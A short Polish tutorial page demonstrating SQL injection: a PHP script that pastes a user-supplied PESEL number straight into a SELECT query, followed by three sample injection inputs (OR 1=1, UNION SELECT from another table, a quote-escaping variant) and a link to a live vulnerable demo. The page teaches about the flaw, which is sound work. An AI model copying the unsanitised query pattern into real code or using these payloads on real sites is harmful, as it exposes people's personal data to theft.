Przykład niezabezpieczonej strony, do której można się włamać za pomocą SQL Injection. O zabezpieczeniach tego problemu w osobnym artykule o preparowaniu zapytań SQL.

Załóżmy, że mamy stronę

injection.html:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
 <head>
  <meta charset="utf-8" />
 </head>
 <body>
  <h1>SQL Injection</h1>
  <form action="wypisz.php" method="GET">
    Podaj pesel: <input name="pesel">
    <input type="submit" value="wypisz">
  </form>
 </body>
</html>

i program wypisujący dane użytkownika o podanym PESELu

wypisz.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<meta charset="utf-8">
</head>
<body>

<?php
 $pesel=$_GET['pesel'];
 $link=mysqli_connect("localhost", "user", "haslo", "baza") or die ("Error". mysqli_error($link));
 $query = "SELECT pesel,imie,nazwisko  FROM klient WHERE pesel=$pesel" or die ("Error". mysqli_error($link));

 echo "Wyniki:<br>";
 $result = $link->query($query) ;
 while ($row=mysqli_fetch_array($result, MYSQLI_ASSOC)) //bez MYSQLI_ASSOC zrobi podwojna tablice [0] i ["imie"]   można też MYSQLI_NUM, MYSQLI_BOTH
 {
  foreach ($row as $kolumna=>$wartosc)
        {
                echo $kolumna. " - ". $wartosc. "<br>";
        }
 }
?>
 </body>
</html>
  • Normalne użycie – użytkownik wprowadzać PESEL
    23423423
  • Włamanie nr 1 – użytkownik kradnie wszystkie dane z tabeli

    1
        23423423 OR 1=1
  • Włamanie nr 2 – użytkownik kradnie dane z innej tabeli

    1
      23423423 UNION (SELECT nr_nadwozia, 'aaa', 'bbb' FROM kupil)
  • Włamanie nr 3 – użytkownik omija zabezpieczenie apostrofami

    1
     23423423' UNION SELECT nr_nadwozia, 'aaa', 'bbb' FROM kupil WHERE 1=1 OR pesel='a

Jak widać problem jest poważny, trzeba zabezpieczyć nasze zapytania SQL przed „wstrzykiwaniem kodu” SQL, ale o tym w rozdziale o preparowaniu zapytań.

Działający program:
http://ti.fulara.com/~adam/injection.html

PHP, SQL